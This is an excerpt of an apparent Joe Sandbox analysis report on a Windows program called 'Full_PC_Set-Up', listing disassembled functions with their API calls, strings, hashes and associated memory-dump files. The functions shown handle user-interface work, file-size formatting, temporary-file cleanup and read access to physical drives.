Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$CreateH_prolog3_InitializeInstanceVersion_malloc
String ID:
API String ID: 1784638251-0
Opcode ID: 1e67e452d587d87647843a17466c046c477879ab7728362b32addfc0e1237264
Instruction ID: 6062b158074db046becaac87528c3c42f2fe65fb9edc60d222bc0f68935af91e
Opcode Fuzzy Hash: 1e67e452d587d87647843a17466c046c477879ab7728362b32addfc0e1237264
Instruction Fuzzy Hash: ED7139B0900B05DFDB22DF24C981A9ABBF4BF08714F10899DE99E9B351D774A944CF50

Function 002CE860 Relevance: 10.7, APIs: 7, Instructions: 171windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003D0730: SendMessageW.USER32(?,00001111,00000000,?), ref: 003D077A
Part of subcall function 003D0730: SetTimer.USER32(?,00000055,00000037,00000000), ref: 003D07AA
Part of subcall function 003D0730: InvalidateRect.USER32(?,00000000,00000000,?,?), ref: 003D07BB

SendMessageW.USER32(?,00001111,00000000,?), ref: 002CE8D3
SendMessageW.USER32(?,00001111,00000000,?), ref: 002CE90C
PtInRect.USER32(?,?,?), ref: 002CE978
PtInRect.USER32(?,?,?), ref: 002CE9E4
EqualRect.USER32(?,?), ref: 002CEA0E
InvalidateRect.USER32(?,00000000,00000000), ref: 002CEA24
TrackMouseEvent.USER32 ref: 002CEA63

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$MessageSend$Invalidate$EqualEventMouseTimerTrack
String ID:
API String ID: 3795044685-0
Opcode ID: b24a2edeb3c4476a8308b2df4994a377f8f342406db732aa28d4049430ffccf2
Instruction ID: e831cc33215bdacbc68388ce66b42e80a2ff064a2692903bfcb09377864e489b
Opcode Fuzzy Hash: b24a2edeb3c4476a8308b2df4994a377f8f342406db732aa28d4049430ffccf2
Instruction Fuzzy Hash: 7871B4B5618341AFC748CF69C480A6BFBE5BB88314F508A2EF99987350D730E915CF96

Function 00313180 Relevance: 10.7, APIs: 7, Instructions: 157COMMON

Download Yara Rule

APIs

__alldvrm.LIBCMT ref: 003131C0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003132DD
__allrem.LIBCMT ref: 003132F6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00313301

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__alldvrm__allrem
String ID:
API String ID: 2089711351-0
Opcode ID: fe6a11583729600f0dc30d36c0a4bc32775f7abf6160bffc36c99a5f285f82b0
Instruction ID: 95ae93971b77163c067e4dd21a37791061b14be67d1d014185612b373a3793da
Opcode Fuzzy Hash: fe6a11583729600f0dc30d36c0a4bc32775f7abf6160bffc36c99a5f285f82b0
Instruction Fuzzy Hash: 7D5129726083409BD31AEF18CC41BABB7EAEFC8710F15492DF5449B391D770EA458796

Function 004B74F0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004B7514
_memset.LIBCMT ref: 004B753D

Part of subcall function 002A43D0: __vswprintf.LIBCMT ref: 002A43DF

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004B7579
CloseHandle.KERNEL32(000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004B772A

Strings

\\.\physicaldrive%d, xrefs: 004B754F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$CloseCreateFileHandle__vswprintf
String ID: \\.\physicaldrive%d
API String ID: 1197793813-3918365107
Opcode ID: 2def8b4073cc15e6d94e4c36105e80760236bca42ff81f3211515c5251aa52af
Instruction ID: 6d6b50476031b685e0ab918f8f63b053d04050d05f5087cf668939c82ddab0aa
Opcode Fuzzy Hash: 2def8b4073cc15e6d94e4c36105e80760236bca42ff81f3211515c5251aa52af
Instruction Fuzzy Hash: 0C51B6B4E40208ABDB64DF54DC89FDA7374AF98304F1085D9E5096B391DA74EE80CFA5

Function 002EC4D0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 153windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000402,00000000,00000000), ref: 002EC641
GetTickCount.KERNEL32 ref: 002EC662

Strings

%.2f GBs, xrefs: 002EC571
%.2f MBs, xrefs: 002EC5BF
%.2f KBs, xrefs: 002EC60B
%I64d Bytes, xrefs: 002EC615

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CountMessageSendTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 3168085573-3509155508
Opcode ID: 7786d61d792d9285ef81d59f3a44dcdfc20a01c077e415d18e59fdd00b5541c2
Instruction ID: c183d6e0108968c31c85589b45f592525a1434436275aaa0e9f05d97ac284207
Opcode Fuzzy Hash: 7786d61d792d9285ef81d59f3a44dcdfc20a01c077e415d18e59fdd00b5541c2
Instruction Fuzzy Hash: 1E51B2B1658B009FC310DF29C845B5BBBE8FB89328F244B1DF0A9E73A1DB3495158B55

Function 004B4850 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151COMMON

Download Yara Rule

APIs

Part of subcall function 003431A0: List.LIBCMTD ref: 003431AA

task.LIBCPMTD ref: 004B4A4A
task.LIBCPMTD ref: 004B4A59
task.LIBCPMTD ref: 004B4A65
task.LIBCPMTD ref: 004B4A74
task.LIBCPMTD ref: 004B4A83

Strings

VBLK, xrefs: 004B493B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: task$List
String ID: VBLK
API String ID: 424350339-33443549
Opcode ID: 50a7a2112458407b0866352048567b262fd76b39439db25d0f6e0d24262eb4dd
Instruction ID: eb817a9f5d06c875efd901bd0b0f16d4e19ce29a2e4c7c9efa526836df16a148
Opcode Fuzzy Hash: 50a7a2112458407b0866352048567b262fd76b39439db25d0f6e0d24262eb4dd
Instruction Fuzzy Hash: A5614871905118DECB15EB94CDA1FEEB7B4BF55300F508199E10AAB292DB342F48CF61

Function 003224C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 147COMMON

Download Yara Rule

APIs

_Smanip.LIBCPMTD ref: 00322502
_strncmp.LIBCMT ref: 00322601

Strings

DSC-R1, xrefs: 003225F5
SONY, xrefs: 003225DE
SONY, xrefs: 00322646
Canon, xrefs: 00322625

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Smanip_strncmp
String ID: Canon$DSC-R1$SONY$SONY
API String ID: 4229110444-2815950977
Opcode ID: 4bafa25532ef378df167a14d71ac3970467e43cfd616ce238a535bd82180d62a
Instruction ID: d3505b7bc7ba3ffc56fea5562e6bb4faa89fca0ac08857e19dcdd86a8b5294be
Opcode Fuzzy Hash: 4bafa25532ef378df167a14d71ac3970467e43cfd616ce238a535bd82180d62a
Instruction Fuzzy Hash: 25516D71D00218EBCB25EF54DC91FEEB7B5BB48700F148269E5097B281EB74AA44CF94

Function 002BE820 Relevance: 10.6, APIs: 7, Instructions: 146fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002F6A00: _memset.LIBCMT ref: 002F6A53
Part of subcall function 002F6A00: _memset.LIBCMT ref: 002F6A70
Part of subcall function 002F6A00: GetTempPathW.KERNEL32(00000104,?,?,?,?,5EBD7D5F,00000000), ref: 002F6A82

SetFileAttributesW.KERNEL32(?,00000080,5EBD7D5F,?,?,00000000,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000), ref: 002BE883
SetFileAttributesW.KERNEL32(?,00000080,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000,5EBD7D5F), ref: 002BE894
DeleteFileW.KERNEL32(?,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000,5EBD7D5F), ref: 002BE89A

Part of subcall function 002BEB90: GdipAlloc.GDIPLUS(00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959,?,002BE5BE), ref: 002BEBC3
Part of subcall function 002BEB90: GdipCreateBitmapFromFile.GDIPLUS(?,?,00000010,5EBD7D5F,74DF3530,00000000,?,?,?,?,002BE5BE,004CD0F8,000000FF,002BE959,?,002BE5BE), ref: 002BEBE2

SetFileAttributesW.KERNEL32(?,00000080,?,002BE5BE,?,?,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000), ref: 002BE901
DeleteFileW.KERNEL32(?,?,?,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000,5EBD7D5F), ref: 002BE907
SetFileAttributesW.KERNEL32(?,00000080,?,002BE5BE,?,?,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000), ref: 002BE96C
DeleteFileW.KERNEL32(?,?,?,?,?,004D2938,000000FF,?,002BE5BE,5EBD7D5F,000000FF,?,00000000,5EBD7D5F), ref: 002BE972

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$Attributes$Delete$Gdip_memset$AllocBitmapCreateFromPathTemp
String ID:
API String ID: 271269757-0
Opcode ID: 44e6f5755e15ae0df1eac3767c5ea44e5ac73f7fd12ce5a14b3cda44a002e45e
Instruction ID: 4b00753f4616ac56083c2b07cd28cf788fbb5fe027244346fbdd6feb5a2659f6
Opcode Fuzzy Hash: 44e6f5755e15ae0df1eac3767c5ea44e5ac73f7fd12ce5a14b3cda44a002e45e
Instruction Fuzzy Hash: 2F5157B1A106099FDB10DFA8C845BDEB7F8FF48320F148669E425A7291C778A905CF94

Function 002EAE60 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 144windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000402,00000000,00000000), ref: 002EAFD1
GetTickCount.KERNEL32 ref: 002EAFD7

Strings

%.2f GBs, xrefs: 002EAF01
%.2f MBs, xrefs: 002EAF4F
%.2f KBs, xrefs: 002EAF9B
%I64d Bytes, xrefs: 002EAFA5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CountMessageSendTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 3168085573-3509155508
Opcode ID: 1f16c4ab9c4d4014077842e0714b8a6f2dea559dc2abdcd1aa04a47ce5623e74
Instruction ID: 001545243ebd65e11adc9f652e30f60bc172283883b4130d5e7d7f4f13165f8d
Opcode Fuzzy Hash: 1f16c4ab9c4d4014077842e0714b8a6f2dea559dc2abdcd1aa04a47ce5623e74
Instruction Fuzzy Hash: FD519FB1658B019FC310DF29CC45B5BBBE4FB88328F144B2DF0A9E72A0DB3599148B56

Function 002F20C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F20FC
SHGetFileInfoW.SHELL32(C:\,?,?,000002B4,00004001), ref: 002F2122
SendMessageW.USER32(?,00000402,00000000,?), ref: 002F2159
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002F2277

Strings

P, xrefs: 002F21A2
C:\, xrefs: 002F211D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$FileInfo_memset
String ID: C:\$P
API String ID: 1741368740-3116542663
Opcode ID: 20d3333c3f85ec0458575ccf466bc37dd88e9da449c41dfaa7da5acf6505ffe8
Instruction ID: d527c114db527a364c5501b91fa61a42c845d4771012d2edcd4332d8345f48e2
Opcode Fuzzy Hash: 20d3333c3f85ec0458575ccf466bc37dd88e9da449c41dfaa7da5acf6505ffe8
Instruction Fuzzy Hash: 76518F71914305DFD310EF64C981B6BB7E4BB89740F00062DFA58AB282D770AD588B96

Function 0036439A Relevance: 10.6, APIs: 7, Instructions: 117windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 003643CD
PeekMessageW.USER32(5EBD7D5F,00000000,00000000,00000000,00000000), ref: 003643F1
UpdateWindow.USER32(?), ref: 0036440C
SendMessageW.USER32(?,00000121,00000000,?), ref: 0036442D
SendMessageW.USER32(?,0000036A,00000000,00000002), ref: 00364445
UpdateWindow.USER32(?), ref: 00364488
PeekMessageW.USER32(5EBD7D5F,00000000,00000000,00000000,00000000), ref: 003644B9

Part of subcall function 00367C65: GetWindowLongW.USER32(?,000000F0), ref: 00367C70

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 4b015f4adb260af6210e960709542becdf3b2c887353a2052e736b641906db25
Instruction ID: c67752703a630381755975d626d2e2b14aa768b766bb0adc0349873aff960bb6
Opcode Fuzzy Hash: 4b015f4adb260af6210e960709542becdf3b2c887353a2052e736b641906db25
Instruction Fuzzy Hash: EB418E70D00205EBCF239F66CC8AFAEBBB8FF81B04F15C16AE451A6199DB318950DB10

Function 002C0E40 Relevance: 10.6, APIs: 7, Instructions: 116COMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 002C0E4E
ReleaseCapture.USER32 ref: 002C0E68

Part of subcall function 002C0F90: GetDCEx.USER32(?,00000000,00000020,?,002C0F16), ref: 002C0F99
Part of subcall function 002C0F90: PatBlt.GDI32(?,?,?,?,?,005A0049), ref: 002C0FC3
Part of subcall function 002C0F90: ReleaseDC.USER32(?,?), ref: 002C0FD1

OffsetRect.USER32(?,?,00000000), ref: 002C0EDD
OffsetRect.USER32(?,00000000,?), ref: 002C0F20
PtInRect.USER32(00000000,?,?), ref: 002C0F4E
LoadCursorW.USER32(?), ref: 002C0F75
SetCursor.USER32(00000000), ref: 002C0F7C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$CaptureCursorOffsetRelease$Load
String ID:
API String ID: 4206045663-0
